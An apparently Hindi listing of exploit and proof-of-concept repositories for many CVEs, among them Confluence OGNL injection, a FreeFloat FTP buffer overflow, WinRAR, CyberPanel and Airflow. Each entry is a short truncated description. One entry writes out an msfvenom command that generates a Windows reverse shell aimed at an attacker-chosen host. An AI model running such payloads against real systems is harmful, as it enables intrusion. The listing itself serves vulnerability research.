CVE-2023-45503

CVE-2023-45503 भेद्यता विवरण अवलोकन Macrob7 Macs फ्रेमवर्क कंटेंट मैनेजमेंट सिस्टम CMS संस्करण 1.1.4f और उससे पहले के संस्करणों में, उपयोगकर्ता इनपुट के असुरक्षित हैंडलिंग के कारण 16 SQL इंजेक्शन भेद्यताएँ उत्पन्न होती हैं। मनमाना SQL क्वेरी निष्पादित करने की क्षमता के परिणामस्वरूप उपयोगकर्ताओं क...

CVE-2024-29399

CVE-2024-29399 भेद्यता विवरण अवलोकन Savane v3.13 और उससे पहले के संस्करणों में, अपलोड की गई फ़ाइलों पर सत्यापन की कमी विशेषाधिकार वृद्धि की अनुमति दे सकती है। स्थापना निर्देशों के अनुसार कॉन्फ़िगर किए गए वेब सर्वर क्रॉस-साइट स्क्रिप्टिंग XSS के लिए संवेदनशील हैं। गलत तरीके से कॉन्फ़िगर किए गए वेब...

NotSecDrv

NotSecDrv - CVE-2018-7249 के लिए एक PoC कोड सामान्य विवरण Microsoft Windows Vista, Windows 7, Windows 8, और Windows 8.1 KB3086255 से पहले में शामिल secdrv.sys, और Macrovision SafeDisc में शामिल secdrv.sys में एक समस्या पाई गई। IOCTL 0xCA002813 के दो सावधानीपूर्वक समयबद्ध कॉल एक रेस कंडीशन का कारण...

CVE-2025-55182-Exploiter

🛡️ RSC Sentinel Pro उन्नत रिएक्ट सर्वर कम्पोनेंट्स RSC ऑडिटर और CVE-2025-55182 एक्सप्लॉइटेशन टूलकिट 🔥 पहचानें. फिंगरप्रिंट करें. शोषण करें. एक क्रोम एक्सटेंशन सुरक्षा शोधकर्ताओं और बग हंटर्स के लिए, जो Next.js App Router RSC कमजोरियों को लक्षित करता है — विशेष रूप से CVE-2025-55182 RSC...

CVE-2025-5548

🐞 CVE-2025-5548: FreeFloat FTP सर्वर 1.0 बफर ओवरफ्लो FreeFloat FTP सर्वर 1.0 में एक क्लासिक स्टैक-आधारित बफर ओवरफ्लो के लिए पेशेवर अनुसंधान और शोषण विकास। यह प्रयोगशाला बाइनरी रिवर्सिंग से पूरी तरह कार्यात्मक RCE तक के संक्रमण को प्रदर्शित करती है। 📖 कार्यकारी सारांश यह रिपॉजिटरी CVE-2025-5548 के...

CVE-2022-26134

CVE-2022-26134 POC विवरण root@kitploit: Confluence Server और Data Center के प्रभावित संस्करणों में, एक OGNL इंजेक्शन भेद्यता मौजूद है, जो एक बिना प्रमाणीकरण वाले हमलावर को Confluence Server या Data Center इंस्टेंस पर मनमाना कोड निष्पादित करने की अनुमति देती है। POC 1. python3 confluence.py -u...

CVE-2025-25257

विषय सूची अवलोकन भेद्यता विवरण प्रूफ ऑफ कॉन्सेप्ट PoC Trolled2 Trolled3 अवलोकन CVE-2025-25257 Fortinet FortiWeb Fabric Connector संस्करण 7.0 से 7.6.x में एक प्री-ऑथेंटिकेशन SQL इंजेक्शन भेद्यता है। यह दोष हमलावरों को कमजोर API एंडपॉइंट में दुर्भावनापूर्ण SQL कमांड इंजेक्ट करने की अनुमति देता है, ...

CVE-2024-51567

CVE-2024-51567 Exploit स्क्रिप्ट CVE-2024-51567 एक Python प्रूफ-ऑफ-कॉन्सेप्ट PoC एक्सप्लॉइट स्क्रिप्ट है जो CVE-2024-51567 के लिए है, जो CyberPanel v2.3.6 को प्रभावित करने वाली एक गंभीर कमांड इंजेक्शन भेद्यता है। upgrademysqlstatus एंडपॉइंट में पाई गई यह भेद्यता, CSRF सुरक्षा को बायपास करके और...

Apache-CouchDB-CVE-2022-24706-RCE-Exploits-Blog-post-

Apache-CouchDB-CVE-2022-24706-RCE-Exploits-Blog-post- मैंने Apache CouchDB CVE-2022-24706 RCE Exploits के बारे में एक ब्लॉग पोस्ट लिखा है।...

CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability

CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability यह स्क्रिप्ट CVE-2024-21413 के लिए एक प्रूफ-ऑफ-कॉन्सेप्ट PoC प्रस्तुत करती है, जो Microsoft Outlook में खोजी गई एक महत्वपूर्ण सुरक्षा भेद्यता है जिसका CVSS मान 9.8 है। MonikerLink दोष के रूप में संदर्भित यह भेद्यता, स्थानीय NTLM...

CVE-2023-38831-winrar-expoit-simple-Poc

CVE-2023-38831-winrar-expoit-simple-Poc बहुत महत्वपूर्ण मुझे उम्मीद है कि आप यह लिंक पहले देखेंगे https://github.com/b1tg/CVE-2023-38831-winrar-exploit मैंने पूरा एक्सप्लॉइट नहीं लिखा। उसने एक्सप्लॉइट लिखा था. https://github.com/b1tg उसने केवल एक साधारण बदलाव किया ताकि script.bat फ़ाइल के माध्यम ...

n8n-RCE-CVE-2025-68613

n8n CVE-2025-68613 अवलोकन इस रिपॉजिटरी में एक शैक्षिक सुरक्षा अनुसंधान परियोजना है जो केंद्रित है CVE-2025-68613 , एक भेद्यता जो n8n के विशिष्ट संस्करणों को प्रभावित करती है, जो संबंधित है असुरक्षित वर्कफ़्लो एक्सप्रेशन मूल्यांकन से। परियोजना का परीक्षण केवल एक नियंत्रित स्थानीय प्रयोगशाला वातावर...

poc-cve-2025-69219

CVE-2025-69219 apache airflow असुरक्षित deserialization से RCE 1. poc.py को अपनी Airflow dags डायरेक्टरी में कॉपी करें। 2. UI से poc workflow को ट्रिगर करें। 3. निष्पादन आउटपुट के लिए टास्क लॉग जाँचें।...

CVE-2009-3999

CVE-2009-3999 HP Power Manager 4.2 Build 7 एक्सप्लॉइट https://github.com/CountablyInfinite/HP-Power-Manager-Buffer-Overflow-Python3 से प्रेरित चरण 1 msfvenom -p windows/shellreversetcp LHOST=YOUR-KALI-LINUX-IP LPORT=80 EXITFUNC=thread -b '\x00\x1a\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5'...

CVE-2023-24489-ShareFile

ShareFile RCE CVE-2023-24489 यह एक Python स्क्रिप्ट है जो ShareFile एप्लिकेशन CVE-2023-24489 में एक रिमोट कोड निष्पादन कमजोरी का शोषण करती है। यह कमजोरी हमलावर को लक्ष्य सिस्टम पर मनमाने कमांड निष्पादित करने की अनुमति देती है। उपयोग स्क्रिप्ट का उपयोग करने के लिए, नीचे दिए गए निर्देशों का पालन...

CVE-2024-3273

CVE-2024-3273 प्रूफ ऑफ कॉन्सेप्ट PoC इस रिपॉजिटरी में CVE-2024-3273 के लिए एक प्रूफ ऑफ कॉन्सेप्ट PoC शामिल है, जो D-Link NAS उपकरणों में पाई गई एक सुरक्षा भेद्यता है। यह भेद्यता हमलावरों को असुरक्षित उपकरणों पर मनमाने कमांड निष्पादित करने की अनुमति देती है। विवरण CVE-2024-3273 D-Link NAS उपकरणों...

CVE-2024-2887-REPORT

SSD सलाह – Google Chrome RCE स्रोत: ssd-disclosure.com/ssd-advisory-google-chrome-rce सारांश Google Chrome संस्करण 123 और पूर्व में एक गंभीर रिमोट कोड निष्पादन भेद्यता जो WebAssembly WASM कचरा-संग्रह प्रकार हैंडलिंग को प्रभावित करती है। यह बग प्रकार भ्रम type confusion की अनुमति देता है जिसे मनमा...

CVE-2022-39197

CVE-2022-39197 RCE POC संदर्भ लिंक https://mp.weixin.qq.com/s/Eb0pQ-1ebLSKPUFC7zS6dg — इस भेद्यता का एक बेहतरीन गहन विश्लेषण है https://www.agarri.fr/blog/archives/2012/05/11/svgfilesandjavacodeexecution/index.html...

CVE-2017-8759

CVE-2017-8759 शोषण उपकरण CVE-2017-8759 शोषण उपकरण एक उपयोगी पायथन स्क्रिप्ट है जो पेंटेस्टर्स और सुरक्षा शोधकर्ताओं को Microsoft .NET Framework RCE का परीक्षण करने का एक त्वरित और प्रभावी तरीका प्रदान करता है। यह एक दुर्भावनापूर्ण RTF फ़ाइल उत्पन्न कर सकता है और बिना किसी जटिल कॉन्फ़िगरेशन के...

CVE-2022-26134

CVE-2022-26134 PoC !WARNING कानूनी अस्वीकरण: यह उपकरण केवल शैक्षिक उद्देश्यों के लिए सख्ती से है! इस उपकरण का उपयोग पूर्व आपसी सहमति के बिना लक्ष्यों पर हमला करने के लिए अवैध है। इस उपकरण का उपयोग करते समय लागू होने वाले सभी कानूनों का पालन करना उपयोगकर्ता की जिम्मेदारी है। इस उपकरण का डेवलपर कोई...